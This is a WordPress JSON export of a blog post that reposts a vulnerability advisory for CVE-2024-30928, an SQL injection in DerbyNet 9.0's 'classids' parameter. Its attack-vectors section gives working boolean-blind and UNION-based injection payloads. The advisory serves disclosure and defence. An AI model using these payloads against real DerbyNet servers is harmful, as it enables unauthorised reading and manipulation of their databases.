{"id":56103,"date":"2024-04-05T23:30:37","date_gmt":"2024-04-05T19:30:37","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/177955\/derby90aqsn-sql.txt"},"modified":"2024-04-05T23:30:37","modified_gmt":"2024-04-05T19:30:37","slug":"derbynet-9-0-ajax-query-slide-next-inc-sql-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/derbynet-9-0-ajax-query-slide-next-inc-sql-injection\/","title":{"rendered":"DerbyNet 9.0 ajax\/query.slide.next.inc SQL Injection"},"content":{"rendered":"<p>CVE ID: CVE-2024-30928<\/p>\n<p>Description:<br \/>An SQL Injection vulnerability has been discovered in DerbyNet version 9.0, particularly within the `ajax\/query.slide.next.inc` file. This vulnerability allows remote attackers to execute arbitrary code and disclose sensitive information by exploiting the unvalidated `classids` parameter used in constructing SQL queries. This parameter is not properly sanitized before being included in the SQL statement, leading to a critical risk of SQL Injection.<\/p>\n<p>Vulnerability Type: SQL Injection<\/p>\n<p>Vendor of Product: DerbyNet &#8211; Available on GitHub: https:\/\/github.com\/jeffpiazza\/derbynet<\/p>\n<p>Affected Product Code Base: DerbyNet &#8211; v9.0<\/p>\n<p>Affected Component: ajax\/query.slide.next.inc<\/p>\n<p>Attack Type: Remote<\/p>\n<p>Impacts:<br \/>&#8211; Code execution: True<br \/>&#8211; Information Disclosure: True<\/p>\n<p>Attack Vectors:<br \/>The vulnerability is primarily exploited by manipulating the `classids` parameter in the user&#8217;s request to the `ajax\/query.slide.next.inc` file. The lack of adequate input validation allows attackers to inject malicious SQL code through this parameter. Example attack vectors include:<\/p>\n<p>&#8211; Direct exploitation:<br \/>&#8211; `http:\/\/127.0.0.1:8000\/action.php?query=slide.next&amp;mode=racer&amp;classids=1`<\/p>\n<p>&#8211; Boolean-based blind SQL Injection:<br \/>&#8211; Payload: `query=slide.next&amp;mode=racer&amp;classids=1) AND 4365=4365 AND (6880=6880`<\/p>\n<p>&#8211; UNION query SQL Injection:<br \/>&#8211; Payload: `query=slide.next&amp;mode=racer&amp;classids=-3890) UNION ALL SELECT NULL,NULL,CHAR(113,107,120,122,113)||CHAR(79,97,117,85,112,79,82,85,75,114,65,66,118,100,117,107,79,118,111,104,67,105,87,86,72,110,107,119,113,86,106,107,115,100,110,109,98,77,85,115)||CHAR(113,118,120,120,113),NULL,NULL,NULL,NULL,NULL&#8211; rDzQ`<\/p>\n<p>These vectors demonstrate how an attacker could manipulate SQL queries to potentially access or manipulate database information unauthorizedly.<\/p>\n<p>Discoverer: Valentin Lobstein<\/p>\n<p>References:<br \/>&#8211; Official website: http:\/\/derbynet.com<br \/>&#8211; Source code on GitHub: https:\/\/github.com\/jeffpiazza\/derbynet<\/p>\n","protected":false},"excerpt":{"rendered":"<p>CVE ID: CVE-2024-30928 Description:An SQL Injection vulnerability has been discovered in DerbyNet version 9.0, particularly within the `ajax\/query.slide.next.inc` file. This vulnerability allows remote attackers to execute arbitrary code and disclose sensitive information by exploiting the unvalidated `classids` parameter used in constructing SQL queries. This parameter is not properly sanitized before being included in the SQL &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56103","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56103","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56103"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56103\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56103"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56103"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56103"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}